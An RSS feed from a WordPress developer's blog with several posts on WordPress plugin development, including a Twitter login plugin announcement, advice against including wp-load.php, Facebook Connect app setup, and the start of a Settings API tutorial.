<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Nothing to See Here &#187; Hackery</title>
	<atom:link href="http://ottodestruct.com/blog/category/geekery/hackery/feed/" rel="self" type="application/rss+xml" />
	<link>http://ottodestruct.com</link>
	<description>Random meanderings you&#039;re probably not interested in</description>
	<lastBuildDate>Wed, 21 Mar 2012 16:37:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4-beta4-20725</generator>
	<atom:link rel='hub' href='http://ottodestruct.com/?pushpress=hub'/>
<cloud domain='ottodestruct.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Simple Twitter Connect</title>
		<link>http://ottodestruct.com/blog/2010/simple-twitter-connect/</link>
		<comments>http://ottodestruct.com/blog/2010/simple-twitter-connect/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 19:38:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[otto]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=688</guid>
		<description><![CDATA[Since people have been emailing me and asking for it&#8230; WordPress Plugin: Simple Twitter Connect It&#8217;s similar in concept to the Simple Facebook Connect plugin. In fact, it rips off quite a lot of the same code. But instead of &#8230; <a href="http://ottodestruct.com/blog/2010/simple-twitter-connect/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2010/simple-twitter-connect/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Since people have been emailing me and asking for it&#8230;</p>
<p>WordPress Plugin: <a href="http://ottopress.com/wordpress-plugins/simple-twitter-connect/">Simple Twitter Connect</a></p>
<p>It&#8217;s similar in concept to the <a href="http://ottopress.com/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin. In fact, it rips off quite a lot of the same code. But instead of Facebook, this integrates your WordPress site better with Twitter.</p>
<p>Now, there&#8217;s a lot of Twitter plugins out there already. And this plugin by no means competes with them (yet). This plugin can&#8217;t, for example, send a post to Twitter (yet). Nor can it pull posts from Twitter to display on your own site (yet).</p>
<p>What it does is to provide the framework for a more complete Twitter integration. Right now it can do:</p>
<ul>
<li>Login via Twitter</li>
<li>Comment via Twitter</li>
</ul>
<p>Not much, really. But it has the backend code necessary to make it easier to connect your site to a <a href="http://twitter.com/apps">Twitter Application</a>, and to make plugins surrounding it that won&#8217;t interfere with each other. That&#8217;s the same basic reason for the Simple Facebook Connect plugin.</p>
<p>So yes, eventually this plugin will send and receive stuff from Twitter. But for now, it lets you allow users to Login and/or to have users Comment using their Twitter credentials.</p>
<p>Expect frequent updates.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2Fv&count=vertical&related=otto42&text=Simple Twitter Connect' class='twitter-share-button' data-text='Simple Twitter Connect' data-url='http://otto42.com/v' data-counturl='http://ottodestruct.com/blog/2010/simple-twitter-connect/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2010/simple-twitter-connect/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2010/simple-twitter-connect/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/simple-twitter-connect/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
	</item>
		<item>
		<title>Don&#039;t include wp-load, please.</title>
		<link>http://ottodestruct.com/blog/2010/dont-include-wp-load-please/</link>
		<comments>http://ottodestruct.com/blog/2010/dont-include-wp-load-please/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 17:24:32 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp-config]]></category>
		<category><![CDATA[wp-load]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=667</guid>
		<description><![CDATA[Edit: This post has moved to here: http://ottopress.com/2010/dont-include-wp-load-please/. Take your comments there. Time for Otto&#8217;s general griping: WordPress plugin programming edition. Here&#8217;s a practice I see in plugins far too often: Plugin.php file adds something like this to the wp_head: &#8230; <a href="http://ottodestruct.com/blog/2010/dont-include-wp-load-please/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2010/dont-include-wp-load-please/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Edit: This post has moved to here: <a href="http://ottopress.com/2010/dont-include-wp-load-please/">http://ottopress.com/2010/dont-include-wp-load-please/</a>. Take your comments there.</p>
<p>Time for Otto&#8217;s general griping: WordPress plugin programming edition.</p>
<p>Here&#8217;s a practice I see in plugins far too often:</p>
<ol>
<li>Plugin.php file adds something like this to the wp_head:
<pre class="brush: xml; notranslate">&lt;script src='http://example.com/wp-content/plugins/my-plugin/script.js.php'&gt;</pre>
</li>
<li>Script.js.php has code like the following:
<pre class="brush: php; notranslate">
&lt;?php
include &quot;../../../wp-load.php&quot;;
?&gt;
... javascript code ...
</pre>
</li>
</ol>
<p>The reason for this sort of thing is that there&#8217;s some option or code or something that the javascript needs from the database or from WordPress or whatever. This PHP file is, basically, generating the javascript on the fly.</p>
<p>Usually, the case for this turns out to be something minor. The code needs the value from an option, or some flag to turn it on or off. Or whatever.</p>
<p>Problem is that finding wp-load.php can be a bit of a chore. I&#8217;ve seen extreme efforts to find and load that file in plugins before, including searching for it, examining the directory structure to make decent guesses, etc. This sort of thing has existed even before wp-load.php came around, with people trying to load wp-config.php themselves and such.</p>
<p>But the real problem is simpler: <em>This is always the wrong way to do it.</em><br />
<span id="more-667"></span></p>
<h3>Why this is wrong</h3>
<ol>
<li>You don&#8217;t have the first clue where wp-load.php actually is. Both the plugin directory and the wp-content directory can be moved around in the installation. ALL the WordPress files could be moved about in this manner, are you going to search around for them?</li>
<li>You&#8217;ve instantly doubled the load on that server. WordPress and the PHP processing of it all now have to get loaded twice for every page load. Once to produce the page, and then again to produce your generated javascript.</li>
<li>You&#8217;re generating javascript on the fly. That&#8217;s simply crap for caching and speed and such.</li>
</ol>
<p>The right way? Well, there&#8217;s two options.</p>
<h3>Right Way the First</h3>
<p>Generate your options separately, put them in using wp_print_scripts.</p>
<p>Examine this pseudo-code:</p>
<pre class="brush: php; notranslate">
add_action('wp_print_scripts','myscript');
function myscript() {
?&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
  var plugin_option= &lt;?php echo json_encode(get_option('plugin_option')); ?&gt;;
&lt;/script&gt;
&lt;?php
}
wp_enqueue_script('myscript','...myscript.js',...);
</pre>
<p>Basically, the plugin option value is inserted directly into the page. The myscript.js file that loads shortly afterwards can use this value however it likes.</p>
<p>Why this is better:</p>
<ol>
<li>No searching for wp-load.php.</li>
<li>The javascript is static, only your options are variable. No added load on the site.</li>
<li>Static scripts mean you get great speed from caching.</li>
</ol>
<p>Sidenote: Note the use of json_encode? You should always use this when producing javascript variables from PHP variables. It handles quoting and escaping and everything for you. It can even turn PHP arrays into javascript arrays nicely! Handy for storing all your options in one place.</p>
<p>What if you have a ton of plugin options though? What if you really WANT to generate that javascript on-the-fly?</p>
<h3>Right Way the Second</h3>
<p>Generate the javascript from a call to WordPress itself, not to a separate file.</p>
<p>Examine this pseudo-code:</p>
<pre class="brush: php; notranslate">
add_filter('query_vars','plugin_add_trigger');
function plugin_add_trigger($vars) {
    $vars[] = 'plugin_trigger';
    return $vars;
}

add_action('template_redirect', 'plugin_trigger_check');
function plugin_trigger_check() {
	if(intval(get_query_var('plugin_trigger')) == 1) {
	?&gt;
function javascript_code() {
...
}
&lt;?php
	exit;
	}
}
</pre>
<p>That code does something a little clever. Basically it&#8217;s adding a new query variable to be used as the &#8220;trigger&#8221;. When the trigger gets pulled, a bunch of javascript is generated, then the code *exits*, stopping WordPress from proceeding any further.</p>
<p>So, with that code in a plugin, a call to http://example.com/?plugin_trigger=1 will now produce your javascript code. This is running entirely within the content of a WordPress call, so you get all the WP functions and database access with which you can generate your code as well.</p>
<p>Thus, you can happily put your
<pre class="brush: xml; notranslate">&lt;script src=&quot;http://example.com/?plugin_trigger=1&quot;&gt;</pre>
<p> code into the page and it&#8217;ll load up that &#8220;file&#8221; just fine.</p>
<p>Why this is better:</p>
<ol>
<li>No searching for load.php</li>
<li>&#8230; Well, okay, there is no other reason. The load problem still exists, and your caching issues still exist. You&#8217;re programmatically generating code here, after all. It&#8217;s not a particularly good practice to do. Still, sometimes this is easier and faster to develop, even if it&#8217;s never actually &#8220;necessary&#8221;.</li>
</ol>
<p>Also see that while I&#8217;m using the number 1 there as the value I&#8217;m checking for, that value can be anything you like. If you want to be a smartass about it and have all sorts of different things that could be generated, you can do them all with that one trigger. It&#8217;s still a generally bad idea because of the added load, but hey, maybe you have a legitimate reason. I&#8217;ve seen one or two valid reasons to do this before.</p>
<h3>Wrap up</h3>
<p>Also note all of the above also applies to &#8220;generating&#8221; CSS code. It&#8217;s just as unnecessary. Usually more so.</p>
<p>So please, stop including wp-load. It&#8217;s just wrong. Let WordPress load itself, and make your plugin do the output it needs to produce in the right places.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F1b&count=vertical&related=otto42&text=Don&#039;t include wp-load, please.' class='twitter-share-button' data-text='Don&#039;t include wp-load, please.' data-url='http://otto42.com/1b' data-counturl='http://ottodestruct.com/blog/2010/dont-include-wp-load-please/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2010/dont-include-wp-load-please/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2010/dont-include-wp-load-please/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/dont-include-wp-load-please/feed/</wfw:commentRss>
		<slash:comments>48</slash:comments>
	
	</item>
		<item>
		<title>How to Setup your Facebook Connect Application</title>
		<link>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/</link>
		<comments>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 17:21:45 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=655</guid>
		<description><![CDATA[Note: This post has been moved to here. Please leave comments there instead. The majority of the email I get from users of the Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It&#8217;s really not &#8230; <a href="http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Note: This post has been moved to <a href="http://ottopress.com/2010/how-to-setup-your-facebook-connect-application/">here</a>. Please leave comments there instead.</p>
<p>The majority of the email I get from users of the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin is questions regarding how to setup their Facebook Application. It&#8217;s really not that hard to do, but the plethora of options can seem  somewhat intimidating. So here&#8217;s the basics of what you need to do.</p>
<p><span id="more-655"></span></p>
<p>After creating your application, you&#8217;ll need to visit the <a href="http://www.facebook.com/developers/apps.php">Apps section</a> in the Facebook Developer Home area. Here you&#8217;ll find your application, and the all critical &#8220;Edit Settings&#8221; link.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp1.png"><img class="alignnone size-full wp-image-656" src="http://ottodestruct.com/files/2010/02/apphelp1.png" alt="Main Application Screen" width="761" height="404" /></a></p>
<p>Firstly, <em>never give out your Application Secret</em>. If you give this out by accident, then use the Reset Secret Key link to get a new one.</p>
<p>Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you&#8217;re building a &#8220;Connect&#8221; application, not a &#8220;Canvas&#8221; one. So most of these are meaningless for you. The following ones are what you actually care about:</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp2.png"><img class="alignnone size-full wp-image-657" src="http://ottodestruct.com/files/2010/02/apphelp2.png" alt="Application name" width="704" height="93" /></a></p>
<p>Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp3.png"><img class="alignnone size-full wp-image-658" src="http://ottodestruct.com/files/2010/02/apphelp3.png" alt="Basic Information" width="700" height="284" /></a></p>
<p>The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp4.png"><img class="alignnone size-full wp-image-659" src="http://ottodestruct.com/files/2010/02/apphelp4.png" alt="Contact Information" width="695" height="342" /></a></p>
<p>Contact Information is obviously important as well, but don&#8217;t worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp5.png"><img class="alignnone size-full wp-image-660" src="http://ottodestruct.com/files/2010/02/apphelp5.png" alt="Authentication Settings" width="695" height="222" /></a></p>
<p>The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an &#8220;External Website&#8221; as far as Facebook is concerned. If you have either them checked, then your app&#8217;s Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp6.png"><img class="alignnone size-full wp-image-661" src="http://ottodestruct.com/files/2010/02/apphelp6.png" alt="Connect Settings" width="688" height="227" /></a></p>
<p>The Connect Settings page is probably the most important one. These settings must be filled in and they must be <em>absolutely accurate</em>. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading &#8220;www&#8221; or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site <em>will not work</em>.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp8.png"><img class="alignnone size-full wp-image-663" src="http://ottodestruct.com/files/2010/02/apphelp8.png" alt="Advanced Settings" width="687" height="134" /></a></p>
<p>The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook.</p>
<p><a href="http://ottodestruct.com/files/2010/02/apphelp7.png"><img class="alignnone size-full wp-image-662" src="http://ottodestruct.com/files/2010/02/apphelp7.png" alt="Application Profile" width="567" height="262" /></a></p>
<p>Finally, after you have saved those settings, take the time to go back to the main application screen and click the &#8220;Edit Application Profile&#8221; link. You&#8217;ll be taken here, where you can set up the &#8220;look&#8221; of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will &#8220;Fan&#8221; your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content.</p>
<p>Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F1e&count=vertical&related=otto42&text=How to Setup your Facebook Connect Application' class='twitter-share-button' data-text='How to Setup your Facebook Connect Application' data-url='http://otto42.com/1e' data-counturl='http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/feed/</wfw:commentRss>
		<slash:comments>36</slash:comments>
	
		<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp1-150x150.png" />
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp1.png" medium="image">
			<media:title type="html">Main Application Screen</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp1-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp2.png" medium="image">
			<media:title type="html">Application name</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp2-150x93.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp3.png" medium="image">
			<media:title type="html">Basic Information</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp3-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp4.png" medium="image">
			<media:title type="html">Contact Information</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp4-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp5.png" medium="image">
			<media:title type="html">Authentication Settings</media:title>
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp6.png" medium="image">
			<media:title type="html">Connect Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp6-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp8.png" medium="image">
			<media:title type="html">Advanced Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp8-150x134.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp7.png" medium="image">
			<media:title type="html">Application Profile</media:title>
			<media:thumbnail url="http://ottodestruct.com/wp-content/uploads/2010/02/apphelp7-150x150.png" />
		</media:content>
	</item>
		<item>
		<title>SFC Chicklet</title>
		<link>http://ottodestruct.com/blog/2009/sfc-chicklet/</link>
		<comments>http://ottodestruct.com/blog/2009/sfc-chicklet/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 17:13:56 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[chicklet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fbfoundations]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=633</guid>
		<description><![CDATA[I saw this morning that Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well. Of &#8230; <a href="http://ottodestruct.com/blog/2009/sfc-chicklet/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2009/sfc-chicklet/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>I saw this morning that <a href="http://staynalive.com/articles/2009/12/22/make-your-facebook-page-fly-with-the-fbfoundations-facebook-chicklet/">Jesse Stay had created</a> a rather neat little <a href="http://www.ifeedreaders.com/chicklet-creator/">chicklet</a> for his <a href="http://staynalive.com/articles/2009/10/10/fbfoundations-facebook-connect-plugin-for-wordpress/">FBFoundations</a> plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.</p>
<p>Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I ended up not using any of Jesse&#8217;s code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.</p>
<p><span id="more-633"></span></p>
<h3>Usage</h3>
<p>The SFC Chicklet works in one of a few ways:</p>
<ul>
<li>First, it&#8217;s a widget if you just want to stick it in a sidebar or something. That&#8217;s easy.</li>
<li>On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.</li>
</ul>
<h3>Configuration (Styling)</h3>
<p>Now, unlike Jesse&#8217;s FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead.</p>
<p>The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the <a href="http://www.stuffandnonsense.co.uk/archives/css_specificity_wars.html">specificity war</a>, and will take precedence.</p>
<p>Thus, if you want to change the background color of the main box, you can do this:<br />
<code><br />
div.fanBoxChicklet {<br />
background-color:blue;<br />
}</code></p>
<p>Simple. The &#8220;div&#8221; makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like.</p>
<p>On the other hand, if you&#8217;re a super-themer and want to disable the built-in styles entirely, add this to your theme&#8217;s functions.php file:</p>
<p><code>global $sfc_chicklet_no_style;<br />
$sfc_chicklet_no_style = true;</code></p>
<h3>Extra</h3>
<p>And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins.</p>
<p>If you&#8217;re a <em>real</em> power user, you might want to display a chicklet for more than one page or application. Well, we&#8217;ve got you covered, just call sfc_chicklet(&#8220;ID-NUMBER&#8221;), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.</p>
<h3>Internals</h3>
<p>Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there&#8217;s no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin.</p>
<p>However, the Facebook code includes a JSON library (if you don&#8217;t have one already loading), which means that if you activate this plugin, it&#8217;s quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn&#8217;t before. Of course, since 2.9 was just released, this is not as big of a deal, really.</p>
<p>The plugin also uses the <a href="http://codex.wordpress.org/Transients_API">WordPress Transients API</a> as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven&#8217;t upgraded to 2.9 yet.</p>
<p>And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily. <img src='http://ottodestruct.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Installation</h3>
<p>If you haven&#8217;t installed SFC yet, then this chicklet is part of the package. Just download it and install from here:<br />
<a href="http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php">http://wordpress.org/extend/plugins/simple-facebook-connect/</a></p>
<p>Alternatively, in a WordPress installation, just go to the &#8220;Plugins-&gt;Add New&#8221; area and search for &#8220;Simple Facebook Connect&#8221;. You can install the package directly from there.</p>
<p>If you already are using SFC 0.8, then you only need the new file. You can download it separately here:<br />
<a href="http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php">http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php</a></p>
<p>Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2Ft&count=vertical&related=otto42&text=SFC Chicklet' class='twitter-share-button' data-text='SFC Chicklet' data-url='http://otto42.com/t' data-counturl='http://ottodestruct.com/blog/2009/sfc-chicklet/' data-count='vertical' data-via='ottodestruct' data-related='otto42'></a><span class="fb_share"><fb:like href="http://ottodestruct.com/blog/2009/sfc-chicklet/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottodestruct.com/blog/2009/sfc-chicklet/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/sfc-chicklet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>WordPress Settings API Tutorial</title>
		<link>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/</link>
		<comments>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:49:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=583</guid>
		<description><![CDATA[Edit: This post has moved to here: http://ottopress.com/2009/wordpress-settings-api-tutorial/. Take your comments there. When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It&#8217;s relatively new to WordPress (introduced in version 2.7), and many things I read &#8230; <a href="http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/' send='true' layout='standard' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Edit: This post has moved to here: <a href="http://ottopress.com/2009/wordpress-settings-api-tutorial/">http://ottopress.com/2009/wordpress-settings-api-tutorial/</a>. Take your comments there.</p>
<p>When writing the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin, I investigated how the <a href="http://codex.wordpress.org/Settings_API">Settings API</a> worked. It&#8217;s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.</p>
<p>It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it&#8217;s slightly more difficult to use in that there&#8217;s very little good documentation for it. Especially for the most common case: Making your own settings page.</p>
<p>So, here is my little documentation attempt.</p>
<p><span id="more-583"></span></p>
<h3>Making your own settings page</h3>
<p>First, add yourself an options page. Code to do that:</p>
<pre class="brush: php; notranslate">
&lt;?php // add the admin options page
add_action('admin_menu', 'plugin_admin_add_page');
function plugin_admin_add_page() {
add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page');
}
?&gt;
</pre>
<p>What this does is quite simple, really:</p>
<p>a. It adds a link under the settings menu called &#8220;Custom Plugin Menu&#8221;.<br />
b. When you click it, you go to a page with a title of &#8220;Custom Plugin Page&#8221;.<br />
c. You must have the &#8220;manage_options&#8221; capability to get there though (admins only).<br />
d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so &#8220;plugin&#8221; needs to be something only you will use).<br />
e. And the content of the page itself will be generated by the &#8220;plugin_options_page&#8221; function.</p>
<p>Oh wait, we need that function! Let&#8217;s go ahead and create that, shall we?</p>
<pre class="brush: php; notranslate">
&lt;?php // display the admin options page
function plugin_options_page() {
?&gt;
&lt;div&gt;
&lt;h2&gt;My custom plugin&lt;/h2&gt;
Options relating to the Custom Plugin.
&lt;form action=&quot;options.php&quot; method=&quot;post&quot;&gt;
&lt;?php settings_fields('plugin_options'); ?&gt;
&lt;?php do_settings_sections('plugin'); ?&gt;

&lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;&lt;?php esc_attr_e('Save Changes'); ?&gt;&quot; /&gt;
&lt;/form&gt;&lt;/div&gt;


&lt;?php
}?&gt;
</pre>
<p>Hang on a minute, where&#8217;s all the options? Well, here&#8217;s where the Settings API kicks in a bit. Up to now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we&#8217;re going to use two new functions.</p>
